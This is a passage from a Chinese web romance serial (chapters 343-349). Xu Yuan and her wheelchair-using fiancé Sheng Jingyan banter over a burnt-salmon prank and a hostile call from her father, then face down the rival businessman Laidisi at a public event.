她的头埋在他胸口,声音软叽叽的,抓着男人空闲的手放在自己的后腰处,“我腰好酸啊,你帮我揉一揉好不好。” 盛景炎触手的肌肤像是剥壳的鸡蛋般嫩滑,一不小心使力都会留下指印甚至捏碎那般。 他忆起昨晚握住她腰肢时在上留下的青紫指印。 盛景炎眸色更深几分,将人紧紧搂抱在怀中,头埋在她肩上,似是无奈:“你总是爱招惹我。” 他这样无奈,许愿就开始笑起来,倒惹得盛景炎快忘记外面那些烂事儿了。 盛景炎手移到她酸软的后腰轻抚揉捏着,许愿乐颠颠的在他怀里享受着男人的犒劳,片刻后开口:“你既然真的这么在乎这件事,那不如今天跟我一起去现场。” “什么?” 盛景炎怀疑自己听错了。 “你要我去哪里?” 如果他没记错,今天是莱蒂斯在国内的企业退出华国市场的日子,甚至会有现场直播交接仪式,将公司转卖给盛世及盛华。 她要让他出席这样的场合? “就是你想的那个,一起去吧。” 许愿开口:“你本来就该陪我一起的。” “盛华和盛世是属于我们两个人的,陪我一起去好不好。” 她捧住盛景炎的脸,望着他。 “你不是说不喜欢那些人侮辱我嘲讽我吗,那就陪我一起出席这样的场合然后替我骂回去,让那些人知道我有个多么爱我多么维护我的未婚夫,好不好。” 话都已经说道这份儿上,他还能如何拒绝。 他清楚许愿是故意在这种时候提出这个请求。 她不希望他一点点消失在大众视野中。 她潜意识里是希望与他并肩的。 “不许不答应。” 许愿眼睛瞪的圆圆的。 “我昨晚都那样卖力的被你欺负了,你只能答应我陪我去。” 原来昨晚还是提前给的酬劳了。 盛景炎又是无奈又是叹气。 “我还有拒绝的理由吗。” 将她颊边凌乱的发丝别到耳后,盛景炎声音压得更低在她耳边低语。 她是真的漂亮,耳蜗都是圆润白皙,他咬着她的耳垂,“你想我陪你去我当然会去,你知道的,我永远不会拒绝你的请求。” 许愿耳廓发烫的开口:“那我请求今晚自己睡。” 实在是担心某人晚上再兽性大发将她摁倒。 她觉得自己暂时需要养一养。 “那不行,驳回你的请求。” 盛景炎当机立断拒绝,想都没想。 好不容易能跟她真的像是夫妻爱侣那样睡在一起,他才不要一个人孤家寡人一样分开睡。 “哼”许愿哼了一声抛下他扑到床上。 床褥是纯黑的六件套,被窗外的阳光照在上面那黑色只会更显高级。许愿很白,被微弱的阳光打在身上映衬着床褥的黑色,像是无价的玉石。 她伸了个懒腰开口:“我还邀请了韩城黎云笙他们,反正A市有头有脸的人我都邀请了,好不容易莱蒂斯滚蛋了,大家都该现场看好戏才对。” 她还挺贴心呢。 第344章 黎云笙是变态他不是 “你这是想让莱蒂斯出大丑?” 她可不就是想让莱蒂斯出大丑吗? 华国A市有头有脸的人都去了,看他跟看笑柄似的。 许愿哲一算是一报还一报,毕竟若是莱蒂斯没打算对付许愿和盛世,许愿也不会僵矛头对准莱蒂斯,说白了是莱蒂斯自找的,怨不得许愿心狠。 更何况……许愿的狠心程度莱蒂斯也了解,洪门谈判还不够惨吗,非要去招惹。 “看来以后莱蒂斯提起你就会想到这段噩梦的经历。” 岂止是成为莱蒂斯的噩梦,简直成为许多海外资本的噩梦。 “你不喜欢吗。” 许愿薄被裹着身体哼了一声,却被盛景炎握住细嫩的脚踝低头打量她的脚。 许愿五颗圆润可爱的脚趾缩了缩。 许愿一直觉得她全身上下哪儿都好看,就是脚不够好看,因为以前学过舞蹈脚地板有一层厚茧,许愿能给自己五官打满分,却也能给她自己的脚打负分。 但盛景炎显然不这么觉得,她明明很高,按照正常原理来讲她的脚不该这么小,可瞧着却是小巧可爱,甚至脚踝处凸出的骨头都带点性感。 他这般想着,手上使了力将人拉拽过来,许愿“唔”了一声也不反抗,但是沉着盛景炎把她圈到怀中前一股脑用被子把自己裹成了黑色的蚕蛹,只留头在外,甚至眉毛都上挑带几分小得意。 她的脸还是绯红的,眼尾的泪意还未消去,看上去可怜中夹杂着得意和骄傲,倒真像是耀武扬威的小狐狸。 “不回答我的问题是不喜欢?” 她说着挑了下眉。 她明明知道答案的,却偏要逼着他开口承认。 盛景炎偏也纵着她:“全世界我最喜欢你。” 许愿笑意更明显了。 真正起来已经近中午了,许愿还算的挺好的,打算吃过午饭后再跟盛景炎一起去现场。 这顿说是早餐又像午餐的饭是许愿做的,倒也不复杂,煎了两块三文鱼两份烟熏肠,又搭配了点生菜紫苏叶和沙拉酱,她没做汤,热了两杯牛奶,这顿饭偏西式的简单却也健康,主要是做起来耗时短比较快一些。 煎三文鱼时就接到了温栩栩的电话。 “宝贝你真的太棒了,我简直控制不住想告诉全世界我闺蜜好友是你啊!” 是许愿联系了黎云笙邀他一起去现场,顺便还给温栩栩多了几个小广告了营销资源,黎云笙倒是因为这个给了许愿面子,在温栩栩女团比赛决赛前特意将人从训练营女团宿舍接出来看好戏。 温栩栩不常关注黎云笙,反倒是黎云笙几次探班,还要装作不认识温栩栩被一些想要攀高枝的人贴上来塞房卡,而他的正牌妻子却在角落里捂嘴偷笑看好戏,黎云笙没少因为这给温栩栩冷脸。 他对温栩栩说不上是喜欢,但现在两人是夫妻,她总该拿出点妻子的态度,这毫不在意的模样,简直就是明晃晃的告诉黎云笙,她对他没有半点兴趣。 黎云笙因为这个几天没搭理温栩栩,结果呢? 这次因为许愿邀请,他给了台阶温栩栩乐颠颠的就从训练营出来上车,半点没察觉到黎云笙在不爽。 也或许是察觉到了装不知道。 她在训练营,但是训练营里面几乎都偷藏了手机,全都能看到外面的消息,许愿跟莱蒂斯的战争她没少看。 一群人暗搓搓骂许愿不安分的时候她也没少呛声,现在看许愿重新支棱起来她反倒像是头号脑残粉,一出牢笼第一时间给许愿去了电话。 完完全全忽略了辛苦来接他回家的黎云笙! 黎云笙阴沉着脸开车,气压也跟着越来越低。 “你怎么比我还激动。” 许愿带着蓝牙耳机接听电话,笑吟吟的眉眼弯弯的。 “我就是喜欢看你成功站在最高处的耀眼模样,你在我心里一直都是最棒最棒的。” 温栩栩这话才出来,就听见车内传来一声“呵”的冷笑。 许愿听见了,温栩栩偏头看向开车的黎云笙,黎云笙面无表情开车。 哦,那大概是她听错了。 温栩栩又开始眼睛发光的夸她:“我早就知道你会对付莱蒂斯的,国内只有你最清楚莱蒂斯的阴暗心理最能拿捏他了!” 许愿还没说话呢,又听见一声“呵”。 温栩栩:“……” 第一次是幻听这一次总不能还是幻听吧。 温栩栩带笑温柔的对许愿说:“阿愿你稍等下,我要处理一些比较私人的事。” 她说完将手机放到一旁抱着手臂看向自己的“丈夫”。 黎云笙遵纪守法的将车停在路边,他似乎打算斟酌着如何开口,结果下一秒温栩栩不讲武德伸手拽住他领带。 黎云笙:“?” 下一秒某处敏感要害就被大力捏住了。 黎云笙:“?!” 黎云笙瞳孔猛震。 他一脸不敢置信的看向自己的小妻子。 “你疯了?” “你知不知道这是在马路上?” “你手在握哪里?” “温栩栩!我只数三个数把你的手放开!” 黎云笙还没开数温栩栩就帮他数了:“3、2、1,我已经帮你数完了!” 说完捏的力气更大了。 “温栩栩!” 许愿听着电话另一头传来的“交流”声默默地调低音量,即便是不打算深想也猜到温栩栩在车上干了什么。 该说不愧是她好闺蜜吗,做事跟她一样狂野。 她冷不丁的探出半边身子看向客厅的盛景炎。 盛景炎坐在轮椅上看报告,在帮许愿处理工作上的事,倏地觉得浑身发冷,一抬头就对上许愿“核善”的微笑。 盛景炎:“是需要我帮忙吗?我来给你打下手?” 他说着就要控制着轮椅进厨房。 许愿坚定摇头并重新将人推出去。 “不,我只是想到了一点好玩的,我看黎云笙还挺喜欢的,你应该也会喜欢。” 那不一样吧。 黎云笙是变态他可不是。 盛景炎心里这么想却被反驳许愿,继续帮许愿看文件处理工作报告,许愿回到厨房后就看到锅子里的三文鱼煎的黑掉了。 第345章 糊掉的三文鱼 许愿:“……” 看着黑掉的三文鱼许愿默默的捂脸。 没关系的,糊掉的有利于消化。 黎云笙这么着急的去接栩栩一定还没有吃饭吧,她可以特地给黎云笙带份饭过去。 车内 “温栩栩!撒手!” “我不,你不说你为什么‘呵’阿愿我就不放。” 温栩栩还挺横。 最近温栩栩还是很火的,从进入女团选秀节目后就凭借着这张明艳动人的面容被人投到前几名,后又因为过硬的实力一直在C位就没下来,现在可以说是爆火的女爱豆预备役。 黎云笙去看过她公演舞台的现场。 她跳过古风舞蹈,带着清冷疏离的韵味儿,她在面对镜头时一直都是综艺感很强的,却总给人一种距离感,但此刻她就在黎云笙面前,生动活泼。 她就在他眼前,是他可以伸手就触碰到的妻子。 黎云笙指尖有点发痒,想把人抱紧怀里揉搓几番。 他偏头:“我没呵许愿,我在呵你。” 听他不是在呵许愿温栩栩瞬间没意见了。 黎云笙心口就憋着一口气,显然是被温栩栩这副态度给气的。 “温栩栩,你只记得许愿对付过莱蒂斯最了解莱蒂斯?那你知不知道这次智能反击案前还有次金融风暴,是黎氏对上莱蒂斯。” 不是只有许愿才能压制莱蒂斯的。 他也可以。 他不是喜欢温栩栩。 他就是不服气自己的妻子眼睛总是盯着别的女人。 温栩栩眨眼看他,没回话,黎云笙气笑了。 行,当他白说,温栩栩满脑子都是许愿,他都觉得但凡他当初不用许愿逼婚温栩栩压根没想过嫁给他,如果国内同意同性婚姻法,温栩栩这疯女人可能还会向许愿求婚。 他就是觉得温栩栩疯起来什么事都做得出来。 黎云笙随手给助理去了电话让助理整理一份资料发给温栩栩。 温栩栩:“?” 收到这份资料的温栩栩侧头看他。 有什么大病吗? 谁要了解你了? 她有这时间多了解了解阿愿不好吗?自恋是病要治的好吗? “黎氏接下来跟盛华开展了一系列合作。” 黎云笙拿出杀手锏,温栩栩秒变脸色:“我懂了,这是要我了解阿愿得合作对象,我会拿回去仔细翻看背诵全文的。” 这已经是黎云笙第不知道多少次被温栩栩气到无语凝噎。 他就只是许愿的合作对象?他分明是她的合法配偶。 行。 就离谱。 黎云笙气的不想说话,直接无视温栩栩了。 温栩栩见他不说话更不可能主动挑开话题,继续去找许愿聊天。 几乎听完全程不知道煎黑掉多少块三文鱼的许愿忍住了笑意跟温栩栩道:“你让黎总好好开车,你们应该也没吃什么东西,我会给你带点心给李总带点香煎三文鱼,听说黎总很喜欢吃三文鱼。” “你干嘛对他什么好。” 温栩栩忍不住吐槽。 黎云笙嗤笑一声,这次算是看在许愿给温栩栩带东西还记得给自己带香煎三文鱼的份儿上没再作妖。 温栩栩不想聊黎云笙,此刻才想起给许愿打电话的真正目的。 “对了阿愿,热搜上还是挺多什么都不懂的人在骂你的,你这两天就少看微博推送吧,全都是一群脑子有坑的。” 今天黎云笙难得同意温栩栩的言论。 许愿嗯了一声,两人没再聊其它的方才挂断电话。 许愿快速的翻阅了下热搜,心里有了章程,看到热搜上那些骂骂咧咧的内容眼底的讽意消都消不下去。也终于明白盛景炎为什么会冷脸。 换位思考一下,如果有人这样辱骂盛景炎或者苏逸,她也会如此气愤。 她摁灭手机,快速的做好了早就该做好的餐点端上桌。 盛景炎等的时间有点久了,按道理来讲不该准备这么长时间,而且他很明显的闻到了糊味儿。 就见许愿准备好两人餐点后特意拿出了两份餐盒,其中一个是粉嫩嫩的颜色装满了可口香甜的点心,而另一个餐盒则是华庭外卖的餐盒看着朴实无华但是质量很好的木质餐盒。 盛景炎:“……” 一个明显是许愿用过的喜欢的,另一个是华庭外卖专用的,过于明显了。 然后他就见木质餐盒里装满了黑掉的香煎三文鱼。 他刚才也不是没有听到许愿和温栩栩的交流对话,猜到这是要带给谁的,没忍住的为黎云笙默哀。 也是没有办法,为了许愿他可以暂时卖掉兄弟了。 这会儿才开始用餐也不消停,放在桌上的手机一直响个不停,是许镇江的电话。 许愿就扫了一眼直接摁断, 许愿直接摁断,许镇江继续打,许愿继续摁断。 许镇江为什么这个时间打电话来? 许愿看过热搜了。 因为她这次压制了莱蒂斯,导致一群傅氏的铁粉开始分析傅氏逐渐走下坡路的原因,最终发现是少了个许愿,如果加上许愿,傅氏就是强敌。 许愿是因为许宁离开,那许宁是谁?是那个许镇江在外找小三生下的私生女,是一个满心满眼恶毒思想的女人,一直在设计陷害许愿,许愿离开傅氏跟她绝对脱不了干系,更不要说许宁还曾经发表过自己跟傅京礼亲近的言论。 有点脑子的都知道傅京礼是许愿的前夫,两人不久前离婚的,许宁和傅京礼如果真有点关系,那岂不是婚前就搞到一起? 如果真是这样那许愿的离开就情有可原。 没有人能忍受自己丈夫背叛他们的婚姻和感情选择的小三还是父亲的私生女。 所以许宁相关的此条升起来,此前才被压下去的热搜再度涌上来,许宁又一次被骂的狗血淋头。 许镇江是为了许宁的事情才来联系许愿,打了几通电话许愿也不接,气的许镇江在家里面砸东西发泄,许愿猜着他应该气的脑子嗡嗡的快要吐血了这才接通电话。 她手里的叉子拨弄着餐盘里的鱼肉却也不吃,只笑意溢满眼眸的听许镇江在电话另一头摔着东西怒吼。 他逼着许愿去澄清许宁和傅京礼之间的关系。 第346章 奖励你一个大大的亲亲 许愿眼神冰冷的听许镇江胡说八道,等许镇江说完自己的请求许愿才嘲道:“所以你认为他们没有背叛我吗,你觉得傅京礼是为了谁跟我提离婚的。” 一句话让许镇江无言以对。 许镇江默然。 良久后开口:“你可以不帮阿宁,但你要帮许家。” 来了。 这才是许镇江真正想做的事。 他其实还是想重振许家。 “许愿,我为了苏青莲付出了很多,所以你必须帮我重振许家,这是你们苏家后代欠我的。” 许愿长指轻点着桌面,声音隐含笑意。 “苏青莲嫁给你时有多少陪嫁。” “哦不,我应该换句话说,许先生嫁进苏家时苏女士应允给你多少好处给了你多少钱和资产。” “那笔钱哪怕是十几二十年只放到银行里面吃利息都够你几辈子风流浪荡。” “你说到底是谁为谁付出呢。” “你以为你这样流连花丛的人真心值几个钱?你以为你对苏青莲的爱能拿得出手吗,你以为你做这么多就能感动苏青莲吗?她如果真的被感动了就不会还你一场假死的可笑闹剧。” “你别以为我不清楚你为什么要在此刻复兴许家。” “你不过是知道苏青莲可能即将回国重新回到A市,你想用最好的精神面貌去见她,你爱她到痴狂的地步。” “但她是苏青莲啊,你又是个什么东西?你凭什么以为她会同意见你呢?” “你别忘了,跟你领证结婚的苏青莲可不是这个在国际上掀起风浪的苏女士。” “所以你过得好不好这么多年相貌如何许家是否没落对苏青莲来说没有半分意义。” 许愿的一字一句掺杂着寒冰掺杂着锋芒,像是带着剑气通过电话对着许镇江刺戳着,直教他遍体鳞伤。 这一段话秒杀许镇江,叫他惊慌又苦涩。 “哦,忘记跟你讲了,”许愿开口“我在跟盛景炎一起吃饭。” 顿了一下才故意继续,“开了免提。” 方才许镇江没少开口撺掇许愿争抢盛家财产去帮扶许家,现在许愿告诉许镇江盛景炎一直在身旁,无疑是给了许镇江狠狠一耳光,让他沦为笑柄。 盛景炎刀叉切三文鱼的动作慢下来,听此黑眸幽幽转向她,许愿笑眯眯的挤过去张开嘴,“喂我。” 盛景炎面上表情有些一言难尽,他捏了捏眉心随了她的意。 许愿笑容有些坏坏的,眉宇间都带着几分明显的神采,似乎打着什么坏心思。 许愿她咀嚼着口中肉质细腻的三文鱼乐颠颠开口:“盛总你有听到许先生为什么打电话来吗。” “他撺掇我争权夺势抢走你所有资产呢,怕不怕慌不慌。” “我会抢走你所有的东西哦。” 这语气一听就是在打趣,他们听着像玩笑,许镇江听着是浑身冒冷汗。 “抢吧。” 盛景炎喂了她颗草莓,然后凑过去接了个带有淡淡草莓香味的吻,声音温柔道:“抢吧,我的所有东西都是你的,只希望盛总以后能包养我,对我好点。” 他不以为耻反以为荣,甚至觉得被许愿包养是一件值得骄傲的事情。 许镇江气的牙根痒痒。 敢情他来求情就成了这对狗男女的情趣了吗!都把他当乐子看啊! 盛景炎知道许愿开了免提,便将她手里的手机丢到桌面,这样也能听到声音,还特地取了湿巾擦拭许愿的手,他眼底没有什么深重的凉意反倒多了几分戏谑的兴味儿,像是等着看好戏似的。 自许愿说自己开了免提,盛景炎在旁边后许镇江那边摔东西的声音没了,呼吸声也变浅显然是吓得不轻。 哪怕是坐在沙发上都觉得两条腿发软,许镇江手臂撑着桌案,“阿愿,你……爸爸给你打电话你开什么免提啊,这有些不太好的话让盛先生听到影响多不好。” 许愿随意的嗯了一声,眼睛直勾勾盯着盛景炎手上叉起的一小块橙子,直凑过去咬进嘴巴里,抢了食的许愿得意的眉毛扬起来。 盛景炎停下手上的动作,一双漆黑深沉的黑眸睨着她。 她抢了东西心情很好的开口回许镇江:“许先生,我们之间已经谈不上是父女关系了,而且你不必来找我,你怎么求我都是不会帮你的,你有时间来找我倒不如去找许宁,让她去求一求你板上钉钉的好女婿傅京礼。” 说到此处,许愿声音带着明晃晃的恶意。 “傅京礼不是一直都肯帮你吗。” “不管你们父女做错什么事,傅京礼都会义无反顾帮你们,只是重新投资许家,傅总当然会答应,他若是不应你完全可以让许宁去哭去闹,你们总能得逞的。” 她是真的坏,故意给两人挖坑也故意恶心傅京礼。 但许镇江不觉得这是挖坑,他真听进去了,也不等许愿回答了,“啪”的挂断许愿的电话。 这次惹得许愿瞪大眼睛不敢置信的指着桌上已经被挂断通话的手机。 “他挂我电话?” “他凭什么挂我电话?” 盛景炎掀眉,浓墨般漆黑的瞳眸浸染了笑意,男人身手勾住许愿的手臂将人拉至身侧贴近自己,一个轻轻的吻落在她的额头。 许愿握紧手机,眼底的挑逗笑意僵住。 眉心被吻过的地方好似还发散着热意,她摩擦着指尖,只觉得眉心的热意逐渐传到四肢百骸,像带了微小的电流。 盛景炎开口:“因为他迫不及待的为他自己挖坑。” 要不说他俩般配呢,一个比一个的损。 “说得好,奖励你一个大大的亲亲。”许愿脸上都是笑意。 盛景炎桃花眼挑了挑瞧着她,舌尖顶了顶腮有点牙痒。 他似乎是真的在等着许愿的亲亲呢。 许愿行动派,将自己面前一大杯甜牛奶喝完,这才转过头去两条手臂搂抱住盛景炎特别主动的去吻他,满嘴都是香甜的味道,给人一种软糯的感觉。 亲完她特别主动的在他侧脸“叭叭叭”亲了几口。 这种先是小孩子一般纯爱的表达好感的亲法实在是让盛景炎哭笑不得。 第347章 他的阿愿特别好 盛景炎要笑不笑的看着她着她,瞳眸里都是柔意。 许愿望着他这副模样,瞧见男人漆黑如墨的眸子,像染着星星点点的火光,仿佛所有情感都藏在期间,注意到她的眼神后深邃的黑眸又深了几分。 许愿以前曾经这么形容过盛景炎的眼睛,看谁都深情,看狗都深情。 “时间不早了,去现场?” 她贴在盛景炎肩上蹭了蹭,整个人像是没骨头似的软塌塌的。 她在外从不这样,只有在他面前会懒洋洋的软绵绵的,像是露出柔软肚皮的大猫。 听到她说去现场,盛景炎还是稍稍顿了下。 他已经有段时间没有出现在公共场合,哪怕是许愿一次又一次的保住盛世,甚至将盛世和盛华捆绑到一起,但还是会有人不停的非议许愿与盛景炎的关系。 他们会那样想是情有可原的。 因为人的情感是世界上最坚固的却也是最脆弱的东西。 他们谈起真情,在感情最纯粹的时候确实会承诺很多,但过了那段热络期,感情就会变得脆弱。 比起感情,人们更看中的是利益。 曾经的盛景炎是盛世执行总裁,盛世董事长是他的父亲,算是盛世绝对的掌权者,且学历容貌身高智商样样拔尖,与许愿来说堪称良配。 但现在的盛景炎呢? 他在自己最疯的时候转出去了手中代表绝佳利益的筹码,盛世的股份自己的房产资产能给的一切全都给了许愿,而他本人也已经断了双腿成了废人。 纵然他还有好相貌,许愿现在会感动,但又能感动多久呢? 她那样优秀,那样漂亮,她会遇到更多上乘的异性,她还能保守本心一直守着自己已经残废成为废人的未婚夫吗? 太多人在唱衰这段感情。 哪怕许愿每天雷打不动的都会发自己和“盛先生”的日常,却还是让人忍不住感叹两人以后必定会分开。 若盛景炎手里还握着那些权柄,未来哪怕没了感情许愿或许还会因为这些权势利益捆绑,但盛景炎全盘托出,他本人还剩下什么? 剩下满腔真心和破败的身体。 但她那样本该站在云端耀眼夺目的人又怎么会缺少旁人的真心?那对她情根深种的宋家少爷宋观鱼不就是个活生生的例子。 纵然现在许愿名声在外,但还是有无数人在暗中议论他们会分开。 她知道这些,盛景炎也知道这些。 所以许愿就是要将盛景炎带出去,她就是要盛景炎陪在身边面对那些镜头让那些人拍到他们相携的身影,这就是她的回应。 她的感情是真的,她就是要选择盛景炎。 若前些日子盛景炎可能还会推辞,但现在他和许愿已经做到最后一步了,他们之间只差一个求婚和婚礼,但其实在他心里许愿已经是他的妻子了。 她让他一起他便不会拒绝。 盛景炎想到许愿提出这个条件的原因心头涌着几分热意,握紧她的手一个使力把人拉拽进怀里,许愿抱着他两条结实的手臂摇晃着笑,撒着娇还带着几分依恋。 盛景炎墨色浓郁的瞳眸都染带着笑意。 他看着面前近在咫尺的爱人。 如此近的距离看她这张美艳的脸,她的眼睛很漂亮,却并不是传统意义的桃花眼,眼尾有些微微上挑,有点凤眼和狐狸眼的味道。眼睑处像自带了眼线,看人时总有几分惑人的意味儿。 她的鼻梁很高,鼻梁中间有一小块突起,有人说这是驼峰鼻,但她的小块凸起却多了几分真实的知性感,加之鼻头有些微的翘,自带美感。 这样近距离的观察她的容貌,五官精致,肌肤白皙柔嫩。 最初的喜欢源于她的好相貌,但现在的爱意确实因为她的性格她的品行以及……就像是灵魂深处缺失的另一半。 他恍然片刻指腹移到她的眼角,抵在她微卷曲的睫毛上,许愿条件反射的闭上眼睛。 “好啊,我也想让那群人看一看我的阿愿有多好。” 许愿忍不住笑起来,推着盛景炎进了衣帽间。 这是许愿的公寓,自从盛景炎搬来后许愿便不许人搬走了,衣帽间也早就不止是她一个人的衣服了,每次新一季的适合盛景炎的高定西装和各式各样的潮牌她看到了总会买回家。 就像盛景炎看到什么适合她的会买回去送给她,她也喜欢这样,所以这个公寓就像是两人的爱巢。 盛景炎喜欢给她买漂亮衣服,她也是喜欢给盛景炎买适合他的衣服。 偶尔休息了也是想玩一下“奇迹炎炎”游戏的。 她眼睛闪了闪,等盛景炎重新站起来后一定要他把自己挑选的衣服都换个够,最好再拍几套写真。 衣服是许愿挑的,她选的是卡其色的西装套裙,衬得整个人有点温婉,但眼神却带着几分凛冽犀利的,盛景炎接过她递来的同款色系衣服时还微微挑了下眉。 “怎么不挑红色?不是喜欢红色?” 他都想好了呢。 等许愿挑一件火红色的小礼裙,他在家闲来无聊没少给许愿买红色宝石胸针,红色玛瑙项链。 许愿将条纹领带丢到他身上忍不住轻笑:“今天好歹算是正式场合,我们做的事本来就够嚣张了,再穿红色礼服去现场,有些过于盛气凌人了,我那么温柔可亲的人,总不好给人留下不好的印象。” 简直是满口的胡说八道啊。 盛景炎这种带了几百倍滤镜的人都听不下去这谎话。 嚣张的事情都做了百八十回了,这次做的事情跟拿了把枪指着莱蒂斯命脉都没什么区别了,这会儿说自己温柔可亲……没人信的吧。 但盛景炎不提这一茬,他心里默念阿愿说什么都是对的。 然后抬起头非常诚恳的开口:“那不然换一件红色的旗袍,穿旗袍去正式场合谁也不能说什么。” “好像也不是不行。” 许愿果然选了一件红色的旗袍,传统样式,纯手工定制的,上面的图案都是一针一线绣上去的,穿上这件旗袍,身上那股凛冽感都压了几分。 第348章 许愿你有病? 她本就身段极好,穿上旗袍更衬得整个人身姿婀娜曼妙,但她的长相是那种明艳大气的类型,完好的压制住了艳色旗袍。 “好看吗。” 许愿耳朵上戴着的是莹润的珍珠耳环,含笑间都带着柔意。 盛景炎一时有些移不开眼:“不然你还是换下来吧。” 懂了,这是不想被别人看到呢,那许愿就满意了。 换是不可能换的,她就是要穿的漂漂亮亮的去送莱蒂斯的企业滚回他们的国家。 许愿到现场的时候已经看到那边停了不少豪车了,下车时远远便看到韩城戴着墨镜手里举着串糖葫芦咬了口,结果下一秒被酸的整张刷脸都扭曲起来。 韩城似乎是被酸的整个人都要麻了,将自己咬过的糖葫芦递到自己亲哥韩越嘴边,满脸“真诚”的跟上供一样。 不知道的还以为那是什么仙丹妙药而不是被他韩二少咬过一口酸掉牙的糖葫芦。 韩越面无表情的看了眼酸到整张脸都扭曲的还没调整过来的亲弟弟,唇角都跟着抽了抽。 如果不是场合不对,韩越真的很想把亲弟弟拍飞。 许愿噗嗤的笑出声,她和盛景炎还没下车,便贴在他耳边小声嘀咕:“韩城一直都这么傻乎乎的吗。” 看完全程的盛景炎都说不出什么维护的话,想了许久才开口:“也不是傻,就是聪明的不太明显。” 那跟傻 也没区别了啊! 许愿忍不住又乐起来。 等她跟盛景炎下车后,韩城眼尖的看到许愿和盛景炎,也不顾自己被亲哥嫌弃了,颠颠的跑过来还顺手将糖葫芦丢到垃圾桶。 “你还真把阿炎带来了。”韩城啧啧称奇。 许愿手搭在盛景炎肩上轻笑:“我是他未婚妻,他拒绝谁也不能拒绝我啊,是吧。”她歪头含笑的在他耳边轻声呢喃。 盛景炎握住她的手很轻缓的力道捏了下算作回应。 韩城:“……” 行,是他贱,非要凑上来吃这么口狗粮。 “我哥和黎云笙他们在这边酒店定了包厢,距离莱蒂斯他们要滚蛋的直播还有点时间,先去包厢里坐坐?” 这话刚说完就眼尖的看到许愿身后的助理带了两个饭盒。 啊? 出来嗨自备饭菜的吗? 韩城有些迷茫,许愿适时的解释:“黎云笙接了栩栩就要过来可能没时间吃饭,给他和栩栩带的东西。” “你做的?”韩城问了句。 许愿点头。 韩城更迷茫了。 啊? 黎云笙跟许愿的关系……那用水火不容来形容也没差的啊,到底是发生了什么才让许愿给黎云笙做饭的?而且许愿给别的男人做饭盛景炎这个醋狗管都不管吗? “你……加料了?” 没加料绝不可能发生这种事,韩城深信不疑。 许愿满脸“无辜”:“我没有,我真的只是做饭的时候顺便给他做了一份,对吧。”她为了让自己的话听着有说服力还晃了晃盛景炎的肩膀。 “……”盛景炎捏了下眉心:“没加料。” 就是单纯的糊了而已。 “没加啊,那我也尝尝,我还没尝过嫂子的手艺呢!”韩城笑呵呵的开口。 许愿微笑:“好哦。” 盛景炎无视了这一幕。 算了,只是糊了,也吃不死人。 韩家兄弟跟许愿盛景炎一起去的包厢,倒是黎云笙和温栩栩来晚了一会儿,包厢内都点好菜了。 他们也不是多饿所以上的菜都是小份,是知道这边有新菜市尝个鲜。 黎云笙黑着脸进门,温栩栩却笑眯眯的直奔许愿而去,黎云笙脸更黑了。 韩城没眼色,没看到这一幕似的站起来吆喝。 “阿笙,许愿说给你做了你爱吃的香煎三文鱼,她说你不来都不开这饭盒呢,我也想吃,你快来快来。” 许愿她有病吗? 黎云笙匪夷所思的看许愿,许愿回以温和的笑容,两人瞧着半点都不像有恩怨的模样。 有诈。 但温栩栩已经打开那个粉色的饭盒,里面装着的全都是精致小巧的点心,温栩栩笑着在许愿身边贴贴。 温栩栩的东西还挺正常的,许愿总不能真的厚此薄彼搞什么乱七八糟的。 黎云笙想了想,便没有继续防着许愿,然后就看到桌上那个明显是华庭外卖盒子的饭盒,陷入了沉默。 嗯…… 也有可能是许愿节约环保单纯觉得这木质饭盒质量好。 他难得发一次善心把许愿当好人。 一分钟后。 黎云笙盯着饭盒内黑乎乎的三文鱼愣住了,还打算分一口尝尝的韩城默默的缩回了自己的脖子。 “许愿,你是真的有病吧。” 黎云笙指着那份三文鱼。 这是香煎三文鱼? “你专程给我做这个?你给温栩栩那种的?” 许愿无辜解释:“栩栩那个是买来的啊。” 黎云笙气笑了:“那我的呢?你就给我做成这样当礼物拿过来了?” “你不能单纯因为我厨艺不精就揣测我的心意。”许愿继续解释,解释完还不忘扭头冲盛景炎告状:“他嫌弃我。” 盛景炎觉得自己又开始头疼了。 黎云笙算是懂了。 许愿这分明是因为上一次他出言不逊对他的报复啊,这么久了这女人还没忘记这一出呢? 黎云笙看向一旁笑呵呵吃点心看戏的妻子:“你就不说点什么?” 温栩栩嘴里吃着点心还不忘夸好吃,听见黎云笙跟自己说话还大言不惭:“又吃不死人,给点面子嘛。” “……” 行。 他就多余问。 …… 马上就到开播的时间,透过包厢房间的窗户已经能看到外面广场围满了人,华人精神抖擞都等着看好戏,而外国人则像是鹌鹑一样耷拉着脑袋。 许愿微微扬眉。 是时间要下去了。 许愿推着盛景炎的轮椅带头离开包厢,不巧,远远便看到另一行人,打头的是老熟人莱蒂斯。 那一行人看到许愿纷纷停下脚步。 特别是莱蒂斯,他脸色不虞的望向许愿,眼神危险眼底藏着锋芒。 许愿毫不畏惧的推着轮椅继续向前走,路过莱蒂斯时听到他开口。 “我还当许总拒绝了那么多追求者是打算选个什么样的,原来许总最终选了个残废,你这择偶标准还真是有趣。” 第349章 他老婆最可爱 听到这句话韩城脸上半点笑意都没了,黎云笙眸光阴冷,韩越也是眸色冷淡。 倒是许愿脸上仍然挂着温婉的笑意,她手掌在盛景炎肩上抚弄了下,像是安抚。 抬起头时,那含带笑意的眼底尽是凉意。 “丧家之犬是喜欢狗叫的,我们都知道的。” 丧家之犬,说的不就是莱蒂斯? 莱蒂斯时懂中文的,顿时脸色铁青,恶狠狠的瞪视着许愿。 “其实我挺不理解的。” 许愿含笑缓缓开口。 “你对上我赢过吗。” “没有赢过一次,每次对上我你都要元气大伤,上次是赔本卖掉国外的几家企业和地皮,这次是被驱逐出华国,连你在华国最后的企业也要被我吞并……我真不知道你都已经落得这步田地了,怎么还有勇气对上我,说这些对我来说不痛不痒根本算不得攻击的话。” “惹怒我对你有什么好处吗?” “现在你的资本企业对上盛华有什么胜算吗。” “又或者说……你连你国外大本营的企业也想被盛华吞并了,如果你想我大可以满足你呢,毕竟盛华在国外也可以帮你一把。” 她就这样面带微笑的说出攻击力极强的话,刀剑都刺戳到莱蒂斯心窝了。 “更何况,我的爱人什么样我都会喜欢,我会让他重新站起来,未来我会带着他抢走你更多东西,也希望你以后还能有力气跟我一争。” 这话若是旁的人说或许会引人发笑,驳回一句你不是医生你说能站起来就能站起来吗? 但说这话的是许愿。 她说能,那就一定能。 纵然莱蒂斯无比厌恶许愿,但交手多次他也最了解许愿,她既然敢说盛景炎能站起来,那就一定可以。 他脸色阴沉着,有些后悔在这种时候挑衅许愿了。 他转身就要走。 